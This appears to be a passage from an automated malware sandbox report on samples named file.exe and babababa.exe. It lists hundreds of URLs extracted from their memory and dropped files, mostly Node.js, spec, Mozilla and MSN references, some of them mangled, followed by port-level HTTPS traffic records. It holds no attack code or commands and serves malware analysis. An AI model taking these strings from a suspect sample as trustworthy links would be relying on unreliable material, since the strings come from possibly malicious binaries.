Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: babababa.exe.25.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=10201
Source: babababa.exe.25.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=10704
Source: babababa.exe.25.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=6593
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_471.4.dr	String found in binary or memory: https://clients6.google.com
Source: babababa.exe.25.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#count
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#count-map
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#countreset
Source: babababa.exe.25.dr	String found in binary or memory: https://console.spec.whatwg.org/#table
Source: chromecache_471.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: babababa.exe.25.dr	String found in binary or memory: https://crbug.com/v8/7848
Source: babababa.exe.25.dr	String found in binary or memory: https://cs.chromium.org/chromium/src/v8/tools/SourceMap.js?rcl=dd10454c1d
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: chromecache_471.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: babababa.exe.25.dr	String found in binary or memory: https://encoding.spec.whatwg.org
Source: babababa.exe.25.dr	String found in binary or memory: https://encoding.spec.whatwg.org/#textdecoder
Source: babababa.exe.25.dr	String found in binary or memory: https://encoding.spec.whatwg.org/#textencoder
Source: babababa.exe.25.dr	String found in binary or memory: https://esdiscuss.org/topic/isconstructor#content-11
Source: babababa.exe.25.dr	String found in binary or memory: https://fetch.spec.whatwg.org/
Source: babababa.exe.25.dr	String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/WebAssembly/esm-integration/issues/42
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/addaleax/eventemitter-asyncresource
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/antirez/linenoise
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/chalk/supports-color
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/chromium/chromium/blob/HEAD/third_party/blink/public/platform/web_crypto_algorith
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/repairES5.js
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/startSES.js
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/google/closure-compiler/wiki/Source-Maps
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/isaacs/color-support.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/libuv/libuv/pull/1501.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/mafintosh/end-of-stream
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/mafintosh/pump
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/mysticatea/abort-controller
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/19009
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/31074
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/34532
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/35475
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/35862
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/35981
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/issues/39707
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/12607
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/26334.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/30380#issuecomment-552948364
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/33515.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/33661
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/34010
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/34103#issuecomment-652002364
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/34375
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/34385
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/35949#issuecomment-722496598
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/36061#discussion_r533718029
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/38248
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/38433#issuecomment-828426932
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/nodejs/node/pull/38614)
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/standard-things/esm/issues/821.
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/tc39/proposal-iterator-helpers/issues/169
Source: babababa.exe.25.dr	String found in binary or memory: https://github.com/tc39/proposal-ses/blob/e5271cc42a257a05dcae2fd94713ed2f46c08620/shim/src/freeze.j
Source: babababa.exe.25.dr	String found in binary or memory: https://goo.gl/t5IS6M).
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#Replaceable
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: babababa.exe.25.dr	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: babababa.exe.25.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: babababa.exe.25.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: babababa.exe.25.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: babababa.exe.25.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/webappapis.html#windoworworkerglobalscope
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: babababa.exe.25.dr	String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: babababa.exe.25.dr	String found in binary or memory: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
Source: babababa.exe.25.dr	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: babababa.exe.25.dr	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: babababa.exe.25.dr	String found in binary or memory: https://no-color.org/
Source: babababa.exe.25.dr	String found in binary or memory: https://nodejs.org/
Source: babababa.exe.25.dr	String found in binary or memory: https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).
Source: babababa.exe.25.dr	String found in binary or memory: https://nodejs.org/api/fs.html
Source: babababa.exe.25.dr	String found in binary or memory: https://nodejs.org/api/fs.html#fs_stat_time_values)
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: chromecache_471.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_471.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: babababa.exe.25.dr	String found in binary or memory: https://sourcemaps.info/spec.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: babababa.exe.25.dr	String found in binary or memory: https://stackoverflow.com/a/5501711/3561
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: babababa.exe.25.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-%typedarray%-intrinsic-object
Source: babababa.exe.25.dr	String found in binary or memory: https://tc39.es/proposal-iterator-helpers/#sec-iteratorprototype.some
Source: babababa.exe.25.dr	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: babababa.exe.25.dr	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc2397#section-2
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc6455#section-1.3
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: babababa.exe.25.dr	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#special-scheme
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#url
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#url-serializing
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams
Source: babababa.exe.25.dr	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: babababa.exe.25.dr	String found in binary or memory: https://v8.dev/blog/v8-release-89
Source: babababa.exe.25.dr	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#the-integrity-attribute
Source: babababa.exe.25.dr	String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: chromecache_471.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: babababa.exe.25.dr	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-line-terminators
Source: babababa.exe.25.dr	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-promise.all
Source: babababa.exe.25.dr	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-timeclip
Source: babababa.exe.25.dr	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_471.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_471.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: babababa.exe.25.dr	String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/BKJJJJKFCGCB
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2678974708.0000000000AD7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2678974708.0000000000AD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2449471785.0000000023BD1000.00000004.00000020.00020000.00000000.sdmp, DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2449471785.0000000023BD1000.00000004.00000020.00020000.00000000.sdmp, DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2449471785.0000000023BD1000.00000004.00000020.00020000.00000000.sdmp, DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2678974708.00000000009F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
